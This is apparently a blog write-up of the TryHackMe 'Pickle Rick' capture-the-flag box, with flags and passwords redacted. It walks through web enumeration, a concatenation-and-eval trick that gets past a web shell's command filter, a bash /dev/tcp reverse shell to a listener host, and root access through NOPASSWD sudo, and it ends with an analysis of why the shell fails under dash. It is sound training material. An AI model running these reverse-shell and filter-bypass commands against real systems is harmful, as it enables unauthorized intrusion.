Pickle Rick was a fun Rick and Morty themed CTF box from TryHackMe. As you make your way through the system, you collect text files containing ingredients to turn Rick back into a human. There are three files; two of which are accessible to the www-data user. To read the third file, you must be root. You can gain initial access just by following a typical web enumeration methodology. Once inside the admin portal, there’s a built-in web shell with some rudimentary restrictions that can be easily bypassed. Getting a shell is trivial and then the www-data user has NOPASSWD sudo privileges for instant root access.
🔔 Please note: To comply with TryHackMe’s write-up requirements, I’ve included a link to TryHackMe above and redacted all passwords, cracked hashes, and flags.
Initial Enumeration
I started my enumeration with a quick port scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nmap -T4 -A picklerick
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-28 21:27 EST
Nmap scan report for picklerick
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ec:7c:a4:c1:18:64:aa:b7:8f:3f:bd:99:8c:c4:a1:07 (RSA)
| 256 05:a7:9f:d3:5f:0a:86:ba:16:a7:1a:be:1d:75:4e:b9 (ECDSA)
|_ 256 a2:20:e4:a1:66:79:c5:6a:f3:82:b0:60:86:a6:55:58 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=12/28%OT=22%CT=1%CU=42167%PV=Y%DS=4%DC=T%G=Y%TM=61CBC7
OS:CD%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=Z%CI=I%II=I%TS=8)SE
OS:Q(SP=102%GCD=1%ISR=109%TI=Z%CI=I%TS=8)OPS(O1=M506ST11NW7%O2=M506ST11NW7%
OS:O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST11NW7%O6=M506ST11)WIN(W1=68DF%W2
OS:=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M506NNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.14 seconds
With a pair of ports to look at, I kicked off a longer more complete scan (nmap -T4 -A -p- picklerick
) and opened my browser.
Not much to look at. There aren’t any links or forms. Let’s take a look at the page source.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
<div class="container">
<div class="jumbotron"></div>
<h1>Help Morty!</h1></br>
<p>Listen Morty... I need your help, I've turned myself into a pickle again and this time I can't change back!</p></br>
<p>I need you to <b>*BURRRP*</b>....Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. The only problem is,
I have no idea what the <b>*BURRRRRRRRP*</b>, password was! Help Morty, Help!</p></br>
</div>
<!--
Note to self, remember username!
Username: R1ckRul3s
-->
</body>
</html>
Ah, a user name! Let’s quickly try it on the SSH port.
1
2
$ ssh R1ckRul3s@picklerick
R1ckRul3s@picklerick: Permission denied (publickey).
Interesting…we can’t SSH into the machine without a key. Maybe we’ll find one later. Meanwhile, my deep scan did not produce any other open ports.
Next, let’s run a feroxbuster scan for other pages and directories.
🔔 Be sure to give your discovery tool some file extensions to use in its search!
Only an assets directory is available and it doesn’t have anything that helps us. Just a few images, bootstrap, and jquery.
1
2
3
4
5
6
7
8
9
10
11
12
13
Index of /assets
[ICO] Name Last modified Size Description
[DIR] Parent Directory -
[TXT] bootstrap.min.css 2019-02-10 16:37 119K
[ ] bootstrap.min.js 2019-02-10 16:37 37K
[IMG] fail.gif 2019-02-10 16:37 49K
[ ] jquery.min.js 2019-02-10 16:37 85K
[IMG] picklerick.gif 2019-02-10 16:37 222K
[IMG] portal.jpg 2019-02-10 16:37 50K
[IMG] rickandmorty.jpeg 2019-02-10 16:37 488K
Apache/2.4.18 (Ubuntu) Server at picklerick Port 80
Let’s run feroxbuster again with a different wordlist. The first run used directory-list-lowercase-2.3-medium.txt. This time we’ll use common.txt.
Of course! I totally forgot to check robots.txt.
robots.txt
1
REDACTED
Well, that doesn’t give us anything new to look at. Okay, let’s try Nikto.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nikto -url http://picklerick
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.132.139
+ Target Hostname: picklerick
+ Target Port: 80
+ Start Time: 2021-12-28 22:17:49 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 426, size: 5818ccf125686, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Cookie PHPSESSID created without the httponly flag
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7681 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2021-12-28 22:34:05 (GMT-5) (976 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
And there’s my mistake. I wasn’t running feroxbuster with any file extensions. Nikto found an admin login page for me.
Admin Portal Access
We probably have a valid username (found in the HTML source), but no password. As I was preparing to mount a brute force attack, I took a mental inventory of obscure information I’d come across so far. What about the odd content I found in robots.txt? Let’s try it: R1ckRul3s:REDACTED
It worked! There also appears to be a built in web shell. It has some restrictions. We can’t run the cat
command.
Bypassing Web Shell Restrictions
That’s easily bypassed though. We can construct a command string by contcatenating strings together like this:
1
var1="c"; var2="at"; eval "$var1$var2 /etc/passwd"
And it works perfectly.
![[Pasted image 20211228225015.png]]
First Ingredient
Let’s see what’s in the web directory (ls /var/www/html
).
1
2
3
4
5
6
7
8
9
10
11
total 40
drwxr-xr-x 3 root root 4096 Feb 10 2019 .
drwxr-xr-x 3 root root 4096 Feb 10 2019 ..
-rwxr-xr-x 1 ubuntu ubuntu 17 Feb 10 2019 Sup3rS3cretPickl3Ingred.txt
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 10 2019 assets
-rwxr-xr-x 1 ubuntu ubuntu 54 Feb 10 2019 clue.txt
-rwxr-xr-x 1 ubuntu ubuntu 1105 Feb 10 2019 denied.php
-rwxrwxrwx 1 ubuntu ubuntu 1062 Feb 10 2019 index.html
-rwxr-xr-x 1 ubuntu ubuntu 1438 Feb 10 2019 login.php
-rwxr-xr-x 1 ubuntu ubuntu 2044 Feb 10 2019 portal.php
-rwxr-xr-x 1 ubuntu ubuntu 17 Feb 10 2019 robots.txt
Looks like we found our first ingredient. Let’s cat the file using the obfuscation method used earlier (var1="c"; var2="at"; eval "$var1$var2 /var/www/html/Sup3rS3cretPickl3Ingred.txt"
).
1
REDACTED
Maybe the clue file will help us with the next ingredient (var1="c"; var2="at"; eval "$var1$var2 /var/www/html/clue.txt"
).
1
Look around the file system for the other ingredient.
Opening a Reverse Shell
We could continue to use the web shell, but it’ll be easier to move around the system with a fully functional shell. There are many options here. We could:
- Hijack index.html by renaming it to index.php and overwrite it with a PHP reverse shell.
- Generate a reverse shell binary with
msfvenom
, write it to tmp, and execute it. - Directly invoke a reverse shell from the web shell.
The third option seems the simplest, although I had a lot of issues getting a stable shell. I ultimately used option two and then after completing the objectives I dug into why my shells weren’t working. See the [[#Shell Failure Analysis]] section for more information.
Second Ingredient
Using the web shell, we can open a bash reverse shell (bash -c 'bash -i >& /dev/tcp/10.0.0.100/4444 0>&1'
) as the www-data user.
1
2
3
4
5
6
7
8
9
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [parrot] from (UNKNOWN) [picklerick] 40300
bash: cannot set terminal process group (1336): Inappropriate ioctl for device
bash: no job control in this shell
www-data@picklerick:/var/www/html$ whoami
whoami
www-data
www-data@picklerick:/var/www/html$
It’s now much easier to move around the system and we quickly find there’s a home directory for rick with the second ingredient.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@picklerick:/var/www/html$ cd /home
cd /home
www-data@picklerick:/home$ ls -al
ls -al
total 16
drwxr-xr-x 4 root root 4096 Feb 10 2019 .
drwxr-xr-x 23 root root 4096 Dec 31 00:44 ..
drwxrwxrwx 2 root root 4096 Feb 10 2019 rick
drwxr-xr-x 4 ubuntu ubuntu 4096 Dec 31 02:51 ubuntu
www-data@picklerick:/home$ cd rick
cd rick
www-data@picklerick:/home/rick$ ls -al
ls -al
total 12
drwxrwxrwx 2 root root 4096 Feb 10 2019 .
drwxr-xr-x 4 root root 4096 Feb 10 2019 ..
-rwxrwxrwx 1 root root 13 Feb 10 2019 second ingredients
www-data@picklerick:/home/rick$ cat second\ ingredients
cat second\ ingredients
REDACTED
www-data@picklerick:/home/rick$
Privilege Escalation
Third Ingredient
Finally, we need root access to get the third ingredient. Let’s start by checking sudo privileges.
1
2
3
4
5
6
7
8
9
10
11
www-data@picklerick:/home/rick$ sudo -l
sudo -l
Matching Defaults entries for www-data on
picklerick.eu-west-1.compute.internal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on
picklerick.eu-west-1.compute.internal:
(ALL) NOPASSWD: ALL
www-data@picklerick:/home/rick$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@picklerick:/home/rick$ sudo su -
sudo su -
mesg: ttyname failed: Inappropriate ioctl for device
whoami
root
ls -al
total 28
drwx------ 4 root root 4096 Feb 10 2019 .
drwxr-xr-x 23 root root 4096 Dec 31 00:44 ..
-rw-r--r-- 1 root root 29 Feb 10 2019 3rd.txt
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 3 root root 4096 Feb 10 2019 snap
drwx------ 2 root root 4096 Feb 10 2019 .ssh
cat 3rd.txt
REDACTED
That’s all three ingredients! Keep reading if you’re curious why you have to double your bash command to get a proper reverse shell.
Shell Failure Analysis
While experimenting with reverse shells through the web shell, I couldn’t get the bash reverse shell to work.
1
bash -i >& /dev/tcp/10.0.0.100/4444 0>&1
I’d just get an empty response. An empty response made some sense: PHP wasn’t capturing stderr and shipping it back through the browser, it was just relaying stdout. I wanted to see that error output, so I used my root access to add an authorized key to the ubuntu user and SSH’d into the box. Next I examined the web shell code in the portal.php file. It was just doing a PHP shell_exec
and returning the output.
I started an interactive PHP session and emulated this functionality.
1
2
3
4
5
6
ubuntu@picklerick:~$ php -a
Interactive mode enabled
php > echo(shell_exec("bash -i >& /dev/tcp/10.0.0.100/4444 0>&1"));
sh: 1: Syntax error: Bad fd number
php >
Bad fd number? At first I was confused, but then as I thought about it I figured it must be referring to the stderr or stdout file descriptors referenced in the command. I needed more information though; the 0 and 1 seemed to be in the correct place.
I found this answer on the UNIX & Linux Stack Exchange:
>&
is the csh syntax (also supported byzsh
and recent versions ofbash
) to redirect both stdout and stderr to a file.
I found another unrelated post (I, of course, cannot find as I’m writing this) that provided me with a bit more context: /bin/sh is usually mapped to /bin/dash, and /bin/dash does not support this syntax.
Using this command, let’s see what shell gets used by shell_exec
.
1
2
3
4
php > echo(shell_exec("ps -p $$"));
PID TTY TIME CMD
2121 pts/0 00:00:00 sh
php >
It’s sh
, and it’s mapped to dash
too.
1
2
$ ls -al /bin/sh
lrwxrwxrwx 1 root root 4 Nov 3 22:06 /bin/sh -> dash
That explains why my shell kept failing; and why to make it work you have to double your bash
command.
1
bash -c 'bash -i >& /dev/tcp/10.0.0.100/4444 0>&1'
When I ran just the single quoted part of the above command, it was executing inside a dash
shell. dash
doesn’t understand the >&
syntax to direct the interactive bash shell into. I have to wrap that command inside a bash -c
so that it executes inside a bash
shell which does understand the >&
syntax.
I’ve come across this before and never had time to investigate. I hope this extra analysis saves someone else the trouble.